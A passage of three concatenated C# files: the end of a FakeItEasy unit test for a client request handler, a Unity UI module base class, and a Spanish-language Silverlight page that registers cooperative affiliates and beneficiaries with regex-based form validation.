TheRequestWillBeAccceptedByTheClient();
TheClientWillReturnAResultForTheRequest(request, Unit.Value);
// Act
var result = await handler.Handle(request, CancellationToken.None);
// Assert
Assert.AreEqual(Unit.Value, result);
TheServerShouldHaveAllocatedACallbackForTheClient(request);
TheServerShouldHaveSentTheRequestToTheClient();
TheServerShouldHaveCheckedTheReuestWasAccepted();
}
class TestRequest : IRequest
{
}
#region Setup Helpers
FakeItEasy.Configuration.IReturnValueArgumentValidationConfiguration<Task> ClientProxySendRequest => A.CallTo(() => clientProxy.SendCoreAsync(A<string>.Ignored, A<object[]>.Ignored, CancellationToken.None));
FakeItEasy.Configuration.IReturnValueArgumentValidationConfiguration<Task<bool>> StorageIsAccepted => A.CallTo(() => storage.IsAccepted(A<int>.Ignored));
FakeItEasy.Configuration.IReturnValueArgumentValidationConfiguration<Task<int>> ConfigureCallbackFor<TRequest, TResponse>(TRequest request) => A.CallTo(() => storage.CreateCallback(request, A<TaskCompletionSource<Unit>>.Ignored));
void ConfigureCompletionFor<TRequest, TResponse>(TRequest request, Action<TaskCompletionSource<TResponse>> callback) => ConfigureCallbackFor<TRequest, TResponse>(request).ReturnsLazily(c => {
var completionSource = c.Arguments.Get<TaskCompletionSource<TResponse>>(1);
callback(completionSource);
return Task.FromResult(0);
});
void SendingARequestToTheClientWillBeSuccessfull() => ClientProxySendRequest.Returns(Task.CompletedTask);
void TheRequestWillBeAccceptedByTheClient() => StorageIsAccepted.Returns(Task.FromResult(true));
void TheClientWillReturnAResultForTheRequest<TRequest, TResponse>(TRequest request, TResponse response) =>
ConfigureCompletionFor<TRequest, TResponse>(request, c => c.SetResult(response));
void WhenTheClientWillReturnAnExceptionForTheRequest<TRequest, TResponse>(TRequest request, Exception ex) =>
ConfigureCompletionFor<TRequest, TResponse>(request, c => c.SetException(ex));
void TheServerShouldHaveSentTheRequestToTheClient() => ClientProxySendRequest.MustHaveHappened();
void TheServerShouldHaveCheckedTheReuestWasAccepted() => StorageIsAccepted.MustHaveHappened();
void TheServerShouldHaveAllocatedACallbackForTheClient(TestRequest request) => ConfigureCallbackFor<TestRequest, Unit>(request).MustHaveHappened();
#endregion
}
} |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace UIFrameWork
{
public abstract class UIModule : MonoBehaviour
{
protected Dictionary<UIType, BaseUI> baseUIDic = new Dictionary<UIType, BaseUI>();
protected Dictionary<string, BaseItem> baseItemDic = new Dictionary<string, BaseItem>();
/// <summary>
/// 初始化
/// </summary>
protected virtual void InitUI()
{
baseUIDic.Clear();
foreach (var item in baseItemDic.Values)
{
DestroyImmediate(item);
}
baseItemDic.Clear();
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Shapes;
using System.Windows.Navigation;
using System.Text.RegularExpressions;
using System.Windows.Media.Imaging;
namespace ProyectoSCA_Navigation.Views
{
public partial class IngresarAfiliado : Page
{
string usuario = App.Correo;
//Flags, true, puede disparar el evento, false no
bool[] flags = new bool[10];
/*** 0 - Abrir Inserts
*** 1 - Abrir Gets, luego Llenar campos de datos
*** 2 - Error Windows
***/
bool[] camposValidos = new bool[20];
bool[] camposValidosBeneficiario = new bool[7];
float porcentajeAportacion = 0;
float porcentajeSeguro = 0;
List<Object> listaBeneficiarios = new List<Object>();
List<Clases.BeneficiarioNormal> beneficiarioNormal = new List<Clases.BeneficiarioNormal>();
Clases.BeneficiarioContingencia beneficiarioContingencia = new Clases.BeneficiarioContingencia();
int beneficiarioContingenciaCount = 0;
DateTime fecha = DateTime.Now;
//Expresiones Regulares para las validaciones
Regex nombres = new Regex(@"^[A-Za-z][A-Za-zñ,\s-]+$");
Regex numeros = new Regex("^[0-9]*$");
Regex alphanumerico = new Regex(@"^[\w\s]+$");
Regex email = new Regex(@"^[a-z0-9_.]+@[a-z0-9-]+\.[a-z]{2,4}$");
Regex numeroIdentidad = new Regex("^[0-9]{4}-[0-9]{4}-[0-9]{5}$");
Regex numeroTelefono = new Regex("^([(][0-9]{3}[)][0-9]{8}|[0-9]{8})$");
Regex porcentaje = new Regex(@"^([0-9]|[1-9]\d|100)$");
/********************************************************************************************************************************
************************************************** Inicializadores *********************************************************
*********************************************************************************************************************************/
private System.ServiceModel.BasicHttpBinding bind;
private System.ServiceModel.EndpointAddress endpoint;
private ProyectoSCA_Navigation.ServiceReference.WSCosecolSoapClient Wrapper;
private string m_EndPoint = "http://localhost:1809/WSCosecol.asmx";
public IngresarAfiliado()
{
InitializeComponent();
bind = new System.ServiceModel.BasicHttpBinding();
endpoint = new System.ServiceModel.EndpointAddress(m_EndPoint);
Wrapper = new ServiceReference.WSCosecolSoapClient(bind, endpoint);
fechaRegistro_txt.Content = fecha;
}
// Executes when the user navigates to this page.
protected override void OnNavigatedTo(NavigationEventArgs e)
{
genero_txt.Items.Add("Masculino");
genero_txt.Items.Add("Femenino");
estadoCivil_txt.Items.Add("Soltero");
estadoCivil_txt.Items.Add("Casado");
estadoCivil_txt.Items.Add("Divorciado");
estadoCivil_txt.Items.Add("Viudo");
estadoCivil_txt.Items.Add("Union Libre");
estadoAfiliado_txt.Items.Add("Activo");
estadoAfiliado_txt.Items.Add("Inactivo");
estadoAfiliado_txt.Items.Add("Retirado");
beneficiarioGenero_txt.Items.Add("Masculino");
beneficiarioGenero_txt.Items.Add("Femenino");
tipoBeneficiario_txt.Items.Add("Normal");
tipoBeneficiario_txt.Items.Add("De Contingencia");
genero_txt.SelectedIndex = 0;
beneficiarioGenero_txt.SelectedIndex = 0;
estadoCivil_txt.SelectedIndex = 0;
estadoAfiliado_txt.SelectedIndex = 0;
tipoBeneficiario_txt.SelectedIndex = 0;
for (int i = 0; i < flags.Length; i++)
{
flags[i] = false;
}
for (int i = 0; i < camposValidos.Length; i++)
camposValidos[i] = true;
for (int i = 0; i < camposValidosBeneficiario.Length; i++)
camposValidosBeneficiario[i] = true;
registrar_btn.IsEnabled = false;
flags[0] = true;
flags[1] = true;
flags[2] = true;
flags[3] = true;
habilitarCampos(false);
id_txt.IsEnabled = false;
Wrapper.AgregarPeticionCompleted += new EventHandler<ServiceReference.AgregarPeticionCompletedEventArgs>(Wrapper_AgregarPeticionCompleted);
Wrapper.AgregarPeticionAsync(ServiceReference.peticion.getProximoNumeroCertificado, "");
}
/********************************************************************************************************************************
***************************************************** Metodo PRINCIPAL ******************************************************
*********************************************************************************************************************************/
//es el metodo que corre cuando se dispara el evento de recibir respuesta, aqui van todas las respuestas
//con los codigos que le pertenecen, consultar TABLA DE PETICIONES.XLSX
private void Wrapper_AgregarPeticionCompleted(object sender, ServiceReference.AgregarPeticionCompletedEventArgs e)
{
if (e.Error == null)
{
string temp = e.Result.Substring(0, 3);
string recievedResponce = e.Result.Substring(3);
if (recievedResponce == "False")
{
if (flags[2])
{
flags[2] = false;
MessageBox.Show("Ha ocurrido un error. Intente su consulta de nuevo.\nSi el problema persiste, refresque la pagina e intente de nuevo.");
habilitarCampos(true);
}
}
else
{
switch (temp)
{
case "p01"://Ingresar Afiliado
if (flags[0])
{
MessageBox.Show("Se ha ingresado el afiliado exitosamente!");
flags[0] = false;
NavigationService.Refresh();
}
break;
case "p10"://Get Ocupaciones, refrescamos el monto actual
if (flags[0])
{
flags[0] = false;
List<string[]> lista = new List<string[]>();
lista = MainPage.tc.getParentesco(e.Result.Substring(3));
if(lista != null)
for (int i = 0; i < lista.Count; i++)
{
if((lista[i])[1] == "True")
profesion_txt.Items.Add((lista[i])[0]);
}
Wrapper.AgregarPeticionCompleted += new EventHandler<ServiceReference.AgregarPeticionCompletedEventArgs>(Wrapper_AgregarPeticionCompleted);
Wrapper.AgregarPeticionAsync(ServiceReference.peticion.getParentesco, "");
}
break;
case "p12"://Get Parentescos
if (flags[1])
{
flags[1] = false;
habilitarCampos(true);
id_txt.IsEnabled = true;
List<string[]> lista = new List<string[]>();
lista = MainPage.tc.getParentesco(e.Result.Substring(3));
if (lista != null)
for (int i = 0; i < lista.Count; i++)
{
if((lista[i])[1] == "True")
parentescoBeneficiario_txt.Items.Add((lista[i])[0]);
}
}
break;
case "p33"://Get Proximo Numero Certificado
if (flags[3])
{
flags[3] = false;
numeroCertificado_txt.Text = recievedResponce;
Wrapper.AgregarPeticionCompleted += new EventHandler<ServiceReference.AgregarPeticionCompletedEventArgs>(Wrapper_AgregarPeticionCompleted);
Wrapper.AgregarPeticionAsync(ServiceReference.peticion.getOcupacion, "");
}
break;
default:
if (flags[2])
{
flags[2] = false;
MessageBox.Show("No se entiende la peticion. (No esta definida)");
habilitarCampos(true);
id_txt.IsEnabled = true;
}
break;
}
}
}
else
{
if (flags[2])
{
flags[2] = false;
MessageBox.Show("Ha ocurrido un error. Intente su consulta de nuevo.\nSi el problema persiste, refresque la pagina e intente de nuevo.");
}
id_txt.IsEnabled = true;
habilitarCampos(true);
habilitarPantalla(true);
}
}
/********************************************************************************************************************************
************************************************** Metodos de Botones *****************************************************
*********************************************************************************************************************************/
private void registrar_btn_Click(object sender, RoutedEventArgs e)
{
if (pNombre_txt.Text == "" || pApellido_txt.Text == "" || id_txt.Text == "" || telefono_txt.Text == ""
|| profesion_txt.SelectedIndex == -1 || direccion_txt.Text == "" || empresa_txt.Text == "" ||
email_txt.Text == "" || contrasena_txt.Password == "" || contrasena2_txt.Password == "")
{
MessageBox.Show("Ingrese todos los valores marcados con *");
return;
}
if (fechaNacimiento_txt.Text == "")
{
MessageBox.Show("Ingrese una fecha de nacimiento valida!");
return;
}
if (fechaIngresoEmpresa_txt.Text == "")
{
MessageBox.Show("Ingrese una fecha de datos laborales valida!");
return;
}
if (listaBeneficiarios.Count == 0)
{
MessageBox.Show("Debe ingresar por lo menos 1 Beneficiario Normal!");
return;
}
if (beneficiarioContingenciaCount == 0)
{
MessageBox.Show("Debe ingresar 1 Beneficiario de Contingencia");
return;
}
for (int i = 0; i < camposValidos.Length; i++)
{
if (!camposValidos[i])
{
MessageBox.Show("Ingrese un dato valido para los campos marcados con 'X'");
return;
}
}
flags[0] = true;
flags[1] = true;
flags[2] = true;
habilitarPantalla(false);
Clases.Afiliado afiliado = new Clases.Afiliado();
List<string> telefono = new List<string>();
List<string> celular = new List<string>();
telefono.Add(telefono_txt.Text);
telefono.Add(telefono2_txt.Text);
celular.Add(celular_txt.Text);
celular.Add(celular2_txt.Text);
afiliado.primerNombre = pNombre_txt.Text;
afiliado.segundoNombre = sNombre_txt.Text;
afiliado.primerApellido = pApellido_txt.Text;
afiliado.segundoApellido = sApellido_txt.Text;
afiliado.direccion = direccion_txt.Text;
afiliado.identidad = id_txt.Text;
afiliado.genero = genero_txt.SelectedItem.ToString();
afiliado.telefonoPersonal = telefono;
afiliado.celular = celular;
afiliado.Ocupacion = profesion_txt.SelectedItem.ToString();
afiliado.CorreoElectronico = email_txt.Text;
afiliado.lugarDeNacimiento = lugarNacimiento_txt.Text;
afiliado.fechaNacimiento = fechaNacimiento_txt.Text;
afiliado.estadoCivil = estadoCivil_txt.SelectedItem.ToString();
afiliado.NombreEmpresa = empresa_txt.Text;
afiliado.fechaIngresoCooperativa = fechaIngresoEmpresa_txt.Text;
afiliado.TelefonoEmpresa = telefonoEmpresa_txt.Text;
afiliado.DepartamentoEmpresa = departamentoEmpresa_txt.Text;
afiliado.DireccionEmpresa = direccionEmpresa_txt.Text;
afiliado.BeneficiarioCont = beneficiarioContingencia;
afiliado.bensNormales = beneficiarioNormal;
afiliado.Password = contrasena_txt.Password;
Wrapper.AgregarPeticionCompleted += new EventHandler<ServiceReference.AgregarPeticionCompletedEventArgs>(Wrapper_AgregarPeticionCompleted);
Wrapper.AgregarPeticionAsync(ServiceReference.peticion.ingresar_afiliado, MainPage.tc.InsertarAfiliado(afiliado, usuario));
}
private void agregarBeneficiario_btn_Click(object sender, RoutedEventArgs e)
{
if (beneficiarioNombre1_txt.Text == "" || beneficiarioApellido1_txt.Text == "" || beneficiarioId_txt.Text == ""
|| porcentajeAportacion_txt.Text == "" || porcentajeSeguro_txt.Text == "")
{
MessageBox.Show("Ingrese todos los valores marcados con *");
return;
}
if (beneficiarioNacimiento_txt.Text == "")
{
MessageBox.Show("Ingrese una fecha valida!");
return;
}
if (parentescoBeneficiario_txt.SelectedIndex == -1)
{
MessageBox.Show("Ingrese un parentesco!");
return;
}
for (int i = 0; i < camposValidosBeneficiario.Length; i++)
{
if (!camposValidosBeneficiario[i])
{
MessageBox.Show("Ingrese un dato valido para los campos marcados con 'X'");
return;
}
}
if (beneficiarioContingenciaCount >= 1 && tipoBeneficiario_txt.SelectedIndex == 1)
{
MessageBox.Show("Solo puede ingresar 1 Beneficiario de Contingencia!");
return;
}
Beneficiarios beneficiario = new Beneficiarios();
beneficiario.PrimerNombre = beneficiarioNombre1_txt.Text;
beneficiario.SegundoNombre = beneficiarioNombre2_txt.Text;
beneficiario.PrimerApellido = beneficiarioApellido1_txt.Text;
beneficiario.SegundoApellido = beneficiarioApellido2_txt.Text;
beneficiario.NumeroIdentidad = beneficiarioId_txt.Text;
beneficiario.Genero = beneficiarioGenero_txt.SelectedItem.ToString();
beneficiario.Fecha_Nacimiento = beneficiarioNacimiento_txt.Text;
beneficiario.Parentesco = parentescoBeneficiario_txt.SelectedItem.ToString();
beneficiario.PorcentajeAportaciones = porcentajeAportacion;
beneficiario.PorcentajeSeguros = porcentajeSeguro;
beneficiario.TipoBeneficiario = tipoBeneficiario_txt.SelectedItem.ToString();
if (tipoBeneficiario_txt.SelectedIndex == 0)
{
//Beneficiario Normal
Clases.BeneficiarioNormal beneficiarioN = new Clases.BeneficiarioNormal();
beneficiarioN.primerNombre = beneficiarioNombre1_txt.Text;
beneficiarioN.segundoNombre = beneficiarioNombre2_txt.Text;
beneficiarioN.primerApellido = beneficiarioApellido1_txt.Text;
beneficiarioN.segundoApellido = beneficiarioApellido2_txt.Text;
beneficiarioN.identidad = beneficiarioId_txt.Text;
beneficiarioN.genero = beneficiarioGenero_txt.SelectedItem.ToString();
beneficiarioN.fechaNacimiento = beneficiarioNacimiento_txt.Text;
beneficiarioN.Parentesco = parentescoBeneficiario_txt.SelectedItem.ToString();
beneficiarioN.porcentajeAportaciones = porcentajeAportacion;
beneficiarioN.porcentajeSeguros = porcentajeSeguro;
listaBeneficiarios.Add(beneficiario);
beneficiarioNormal.Add(beneficiarioN);
}
else if(tipoBeneficiario_txt.SelectedIndex == 1)
{
//Beneficiario Contingencia
beneficiarioContingenciaCount++;
beneficiarioContingencia.primerNombre = beneficiarioNombre1_txt.Text;
beneficiarioContingencia.segundoNombre = beneficiarioNombre2_txt.Text;
beneficiarioContingencia.primerApellido = beneficiarioApellido1_txt.Text;
beneficiarioContingencia.segundoApellido = beneficiarioApellido2_txt.Text;
beneficiarioContingencia.identidad = beneficiarioId_txt.Text;
beneficiarioContingencia.genero = beneficiarioGenero_txt.SelectedItem.ToString();
beneficiarioContingencia.fechaNacimiento = beneficiarioNacimiento_txt.Text;
beneficiarioContingencia.Parentesco = parentescoBeneficiario_txt.SelectedItem.ToString();
listaBeneficiarios.Add(beneficiario);
}
gridBeneficiarios.ItemsSource = null;
gridBeneficiarios.ItemsSource = listaBeneficiarios;
resetBeneficiarios();
}
private void eliminarBeneficiario_btn_Click(object sender, RoutedEventArgs e)
{
if (gridBeneficiarios.SelectedIndex == -1)
{
MessageBox.Show("Seleccione un Beneficiario para eliminar");
return;
}
Beneficiarios beneficiario = new Beneficiarios();
beneficiario = (Beneficiarios)gridBeneficiarios.SelectedItem;
if (beneficiario.TipoBeneficiario == "De Contingencia")
beneficiarioContingenciaCount--;
if (beneficiario.TipoBeneficiario == "Normal")
beneficiarioNormal.RemoveAt(gridBeneficiarios.SelectedIndex);
listaBeneficiarios.Remove(gridBeneficiarios.SelectedItem);
gridBeneficiarios.ItemsSource = null;
gridBeneficiarios.ItemsSource = listaBeneficiarios;
}
/********************************************************************************************************************************
************************************************** Validaciones!! **********************************************************
*********************************************************************************************************************************/
//Validaciones de valores ingresados
private void pNombre_txt_TextChanged(object sender, TextChangedEventArgs e)
{
pNombre_txt.Text.Trim();
if (nombres.IsMatch(pNombre_txt.Text))
{
camposValidos[0] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
pNombre_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[0] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
pNombre_valid.Source = new BitmapImage(imgURI);
}
if (pNombre_txt.Text == "")
{
camposValidos[0] = true;
pNombre_valid.Source = MainPage.bmpClear;
}
}
private void sNombre_txt_TextChanged(object sender, TextChangedEventArgs e)
{
sNombre_txt.Text.Trim();
if (nombres.IsMatch(sNombre_txt.Text))
{
camposValidos[1] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
sNombre_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[1] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
sNombre_valid.Source = new BitmapImage(imgURI);
}
if (sNombre_txt.Text == "")
{
camposValidos[1] = true;
sNombre_valid.Source = MainPage.bmpClear;
}
}
private void pApellido_txt_TextChanged(object sender, TextChangedEventArgs e)
{
pApellido_txt.Text.Trim();
if (nombres.IsMatch(pApellido_txt.Text))
{
camposValidos[2] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
pApellido_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[2] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
pApellido_valid.Source = new BitmapImage(imgURI);
}
if (pApellido_txt.Text == "")
{
camposValidos[2] = true;
pApellido_valid.Source = MainPage.bmpClear;
}
}
private void sApellido_txt_TextChanged(object sender, TextChangedEventArgs e)
{
sApellido_txt.Text.Trim();
if (nombres.IsMatch(sApellido_txt.Text))
{
camposValidos[3] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
sApellido_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[3] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
sApellido_valid.Source = new BitmapImage(imgURI);
}
if (sApellido_txt.Text == "")
{
camposValidos[3] = true;
sApellido_valid.Source = MainPage.bmpClear;
}
}
private void id_txt_TextChanged(object sender, TextChangedEventArgs e)
{
id_txt.Text.Trim();
if (numeroIdentidad.IsMatch(id_txt.Text))
{
camposValidos[4] = true;
mensaje_txt.Text = "*Campos Obligatorios";
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
id_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[4] = false;
mensaje_txt.Text = "Formato valido de Identidad: 0000-0000-00000";
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
id_valid.Source = new BitmapImage(imgURI);
}
if (id_txt.Text == "")
{
camposValidos[4] = true;
mensaje_txt.Text = "*Campos Obligatorios";
id_valid.Source = MainPage.bmpClear;
}
}
private void telefono_txt_TextChanged(object sender, TextChangedEventArgs e)
{
telefono_txt.Text.Trim();
if (numeroTelefono.IsMatch(telefono_txt.Text))
{
camposValidos[5] = true;
registrar_btn.IsEnabled = true;
mensaje_txt.Text = "*Campos Obligatorios";
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
telefono_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[5] = false;
registrar_btn.IsEnabled = false;
mensaje_txt.Text = "Formato Valido: (504)0000000, ó 00000000";
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
telefono_valid.Source = new BitmapImage(imgURI);
}
if (telefono_txt.Text == "")
{
camposValidos[5] = true;
mensaje_txt.Text = "*Campos Obligatorios";
telefono_valid.Source = MainPage.bmpClear;
}
}
private void telefono2_txt_TextChanged(object sender, TextChangedEventArgs e)
{
telefono2_txt.Text.Trim();
if (numeroTelefono.IsMatch(telefono2_txt.Text))
{
camposValidos[6] = true;
registrar_btn.IsEnabled = true;
mensaje_txt.Text = "*Campos Obligatorios";
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
telefono2_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[6] = false;
registrar_btn.IsEnabled = false;
mensaje_txt.Text = "Formato Valido: (504)0000000, ó 00000000";
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
telefono2_valid.Source = new BitmapImage(imgURI);
}
if (telefono2_txt.Text == "")
{
camposValidos[6] = true;
mensaje_txt.Text = "*Campos Obligatorios";
telefono2_valid.Source = MainPage.bmpClear;
}
}
private void celular_txt_TextChanged(object sender, TextChangedEventArgs e)
{
celular_txt.Text.Trim();
if (numeroTelefono.IsMatch(celular_txt.Text))
{
camposValidos[7] = true;
registrar_btn.IsEnabled = true;
mensaje_txt.Text = "*Campos Obligatorios";
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
celular_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[7] = false;
registrar_btn.IsEnabled = false;
mensaje_txt.Text = "Formato Valido: (504)0000000, ó 00000000";
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
celular_valid.Source = new BitmapImage(imgURI);
}
if (celular_txt.Text == "")
{
camposValidos[7] = true;
mensaje_txt.Text = "*Campos Obligatorios";
celular_valid.Source = MainPage.bmpClear;
}
}
private void celular2_txt_TextChanged(object sender, TextChangedEventArgs e)
{
celular2_txt.Text.Trim();
if (numeroTelefono.IsMatch(celular2_txt.Text))
{
camposValidos[8] = true;
registrar_btn.IsEnabled = true;
mensaje_txt.Text = "*Campos Obligatorios";
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
celular2_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[8] = false;
registrar_btn.IsEnabled = false;
mensaje_txt.Text = "Formato Valido: (504)0000000, ó 00000000";
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
celular2_valid.Source = new BitmapImage(imgURI);
}
if (celular2_txt.Text == "")
{
camposValidos[8] = true;
mensaje_txt.Text = "*Campos Obligatorios";
celular2_valid.Source = MainPage.bmpClear;
}
}
private void email_txt_TextChanged(object sender, TextChangedEventArgs e)
{
email_txt.Text.Trim();
if (email.IsMatch(email_txt.Text))
{
camposValidos[9] = true;
mensaje_txt.Text = "*Campos Obligatorios";
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
correo_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[9] = false;
registrar_btn.IsEnabled = false;
mensaje_txt.Text = "Formato Valido de Correo: ejemplo@dominio.com";
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
correo_valid.Source = new BitmapImage(imgURI);
}
if (email_txt.Text == "")
{
camposValidos[9] = true;
mensaje_txt.Text = "*Campos Obligatorios";
correo_valid.Source = MainPage.bmpClear;
}
}
private void lugarNacimiento_txt_TextChanged(object sender, TextChangedEventArgs e)
{
lugarNacimiento_txt.Text.Trim();
if (nombres.IsMatch(lugarNacimiento_txt.Text))
{
camposValidos[10] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
lugarNacimiento_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[10] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
lugarNacimiento_valid.Source = new BitmapImage(imgURI);
}
if (lugarNacimiento_txt.Text == "")
{
camposValidos[10] = true;
mensaje_txt.Text = "*Campos Obligatorios";
lugarNacimiento_valid.Source = MainPage.bmpClear;
}
}
private void contrasena2_txt_PasswordChanged(object sender, RoutedEventArgs e)
{
if (contrasena2_txt.Password == contrasena_txt.Password)
{
camposValidos[11] = true;
mensaje_txt.Text = "*Campos Obligatorios";
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
password_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[11] = false;
mensaje_txt.Text = "Las contraseñas no coinciden!";
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
password_valid.Source = new BitmapImage(imgURI);
}
if (contrasena2_txt.Password == "" && contrasena_txt.Password == "")
{
camposValidos[11] = true;
mensaje_txt.Text = "*Campos Obligatorios";
password_valid.Source = MainPage.bmpClear;
}
}
private void empresa_txt_TextChanged(object sender, TextChangedEventArgs e)
{
empresa_txt.Text.Trim();
if (nombres.IsMatch(empresa_txt.Text))
{
camposValidos[12] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
empresa_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[12] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
empresa_valid.Source = new BitmapImage(imgURI);
}
if (empresa_txt.Text == "")
{
camposValidos[12] = true;
empresa_valid.Source = MainPage.bmpClear;
}
}
private void telefonoEmpresa_txt_TextChanged(object sender, TextChangedEventArgs e)
{
telefonoEmpresa_txt.Text.Trim();
if (numeroTelefono.IsMatch(telefonoEmpresa_txt.Text))
{
camposValidos[13] = true;
registrar_btn.IsEnabled = true;
mensaje_txt.Text = "*Campos Obligatorios";
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
telefonoEmpresa_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[13] = false;
registrar_btn.IsEnabled = false;
mensaje_txt.Text = "Formato Valido: (504)0000000, ó 00000000";
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
telefonoEmpresa_valid.Source = new BitmapImage(imgURI);
}
if (telefonoEmpresa_txt.Text == "")
{
camposValidos[13] = true;
mensaje_txt.Text = "*Campos Obligatorios";
telefonoEmpresa_valid.Source = MainPage.bmpClear;
}
}
private void departamentoEmpresa_txt_TextChanged(object sender, TextChangedEventArgs e)
{
departamentoEmpresa_txt.Text.Trim();
if (alphanumerico.IsMatch(departamentoEmpresa_txt.Text))
{
camposValidos[14] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
departamentoEmpresa_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidos[14] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
departamentoEmpresa_valid.Source = new BitmapImage(imgURI);
}
if (departamentoEmpresa_txt.Text == "")
{
camposValidos[14] = true;
departamentoEmpresa_valid.Source = MainPage.bmpClear;
}
}
private void beneficiarioNombre1_txt_TextChanged(object sender, TextChangedEventArgs e)
{
beneficiarioNombre1_txt.Text.Trim();
if (nombres.IsMatch(beneficiarioNombre1_txt.Text))
{
camposValidosBeneficiario[0] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
beneficiarioPNombre_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidosBeneficiario[0] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
beneficiarioPNombre_valid.Source = new BitmapImage(imgURI);
}
if (beneficiarioNombre1_txt.Text == "")
{
camposValidosBeneficiario[0] = true;
beneficiarioPNombre_valid.Source = MainPage.bmpClear;
}
}
private void beneficiarioNombre2_txt_TextChanged(object sender, TextChangedEventArgs e)
{
beneficiarioNombre2_txt.Text.Trim();
if (nombres.IsMatch(beneficiarioNombre2_txt.Text))
{
camposValidosBeneficiario[1] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
